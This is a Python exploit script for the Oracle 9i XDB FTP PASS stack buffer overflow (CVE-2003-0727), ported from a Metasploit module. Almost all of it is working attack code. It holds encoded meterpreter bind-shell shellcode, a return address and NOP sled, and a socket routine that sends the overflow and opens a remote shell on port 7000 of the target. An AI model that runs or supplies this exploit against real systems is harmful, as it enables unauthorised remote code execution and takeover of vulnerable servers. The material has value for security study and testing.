Oracle 9i XDB FTP Pass Overflow

`'''  
Oracle 9i XDB FTP PASS Overflow (win32)   
Ported to python from the Metasploit oracle9i_xdb_ftp_pass.rb exploit  
Original exploit:  
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb  
  
Description from original exploit:  
By passing an overly long string to the PASS command, a  
stack based buffer overflow occurs. David Litchfield, has  
illustrated multiple vulnerabilities in the Oracle 9i XML  
Database (XDB), during a seminar on "Variations in exploit  
methods between Linux and Windows" presented at the Blackhat  
conference.  
http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf  
  
CVE: 2003-0727  
OSVDB: 2449  
BID: 8375  
  
Date: 2/2/2016  
Ported by: Tom Ryans  
Tested on: Win 2000 SP4  
  
Usage: oracle9i_ftp_pass.py target_ip target_port  
ex. oracle9i_ftp_pass.py 127.0.0.1 2100  
  
Spawns meterpreter bind shell on port 7000.  
'''  
  
#!/usr/bin/python  
  
import sys, socket  
  
if len(sys.argv) != 3:  
print "Usage: %s target_ip target_port" % sys.argv[0]  
sys.exit()  
  
host = str(sys.argv[1])  
port = int(sys.argv[2])  
  
#msfvenom -p windows/meterpreter/bind_tcp lport=7000 EXITFUNC=thread -b "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40" -f c  
shellcode = (  
"\xdb\xc8\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x4b\xbd\xe8\xe3\x74"  
"\x4e\x83\xc3\x04\x31\x6b\x16\x03\x6b\x16\xe2\x1d\x1f\x9c\xcc"  
"\xdd\xe0\x5d\xb1\x54\x05\x6c\xf1\x02\x4d\xdf\xc1\x41\x03\xec"  
"\xaa\x07\xb0\x67\xde\x8f\xb7\xc0\x55\xe9\xf6\xd1\xc6\xc9\x99"  
"\x51\x15\x1d\x7a\x6b\xd6\x50\x7b\xac\x0b\x98\x29\x65\x47\x0e"  
"\xde\x02\x1d\x92\x55\x58\xb3\x92\x8a\x29\xb2\xb3\x1c\x21\xed"  
"\x13\x9e\xe6\x85\x1a\xb8\xeb\xa0\xd5\x33\xdf\x5f\xe4\x95\x11"  
"\x9f\x4a\xd8\x9d\x52\x93\x1c\x19\x8d\xe6\x54\x59\x30\xf0\xa2"  
"\x23\xee\x75\x31\x83\x65\x2d\x9d\x35\xa9\xab\x56\x39\x06\xb8"  
"\x31\x5e\x99\x6d\x4a\x5a\x12\x90\x9d\xea\x60\xb6\x39\xb6\x33"  
"\xd7\x18\x12\x95\xe8\x7b\xfd\x4a\x4c\xf7\x10\x9e\xfd\x5a\x7d"  
"\x53\xcf\x64\x7d\xfb\x58\x16\x4f\xa4\xf2\xb0\xe3\x2d\xdc\x47"  
"\x03\x04\x98\xd8\xfa\xa7\xd8\xf1\x38\xf3\x88\x69\xe8\x7c\x43"  
"\x6a\x15\xa9\xf9\x61\xb0\x02\x1f\x88\x28\xa2\xb5\x71\xc5\x4e"  
"\x46\xa9\xf5\x70\x8d\xc2\x9e\x8c\x2d\xf6\x06\x18\xcb\x62\xa7"  
"\x4c\x44\x1b\x05\xab\x5d\xbc\x76\x99\x24\x82\xfc\x7a\x71\x6b"  
"\x48\x93\x45\x94\x49\xb1\xe2\x02\xc2\xd6\x37\x32\xd5\xf2\x10"  
"\x23\x42\x88\xf0\x06\xf2\x8d\xd9\xf3\xf4\x1b\xe5\x55\xa2\xb3"  
"\xe7\x80\x84\x1b\x18\xe7\x96\x5c\xe6\x76\xb4\x17\xd0\xec\x86"  
"\x4f\x1c\xe1\x06\x90\x4a\x6b\x07\xf8\x2a\xcf\x54\x1d\x35\xda"  
"\xc8\x8e\xa3\xe5\xb8\x63\x64\x8e\x46\x5d\x42\x11\xb8\x88\xd1"  
"\x56\x46\x4d\xd2\xa7\x84\x98\x1a\xd2\xe3\x18")  
  
  
user = "A" * 10  
# return address from Metasploit module: 0x60616d46 oraclient9.dll (pop/pop/ret)  
ret = "\x46\x6d\x61\x60"  
prependencoder = "\x81\xc4\xff\xef\xff\xff\x44" #from Metasploit module  
nops = "\x90" * (800 - len(shellcode) - len(prependencoder))  
  
buff = "A" * 442 + "\xeb\x06\x90\x90" + ret + nops + prependencoder + shellcode  
print " ++++++++++++++++++++++++++++++++++++++++++++"  
print " + Oracle 9i XDB FTP PASS Overflow exploit +"  
print " +++++++++++++++++++++++++++++++++++++++++++++"  
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s.connect((host,port))  
print s.recv(1024)  
print "Sending %s size payload..." % len(buff)  
s.send("USER " + user + "\r\n")  
s.send("PASS " + buff + "\r\n")  
print "Payload sent...."  
print "Check port 7000 for meterpreter shell..."  
s.close()  
  
  
  
`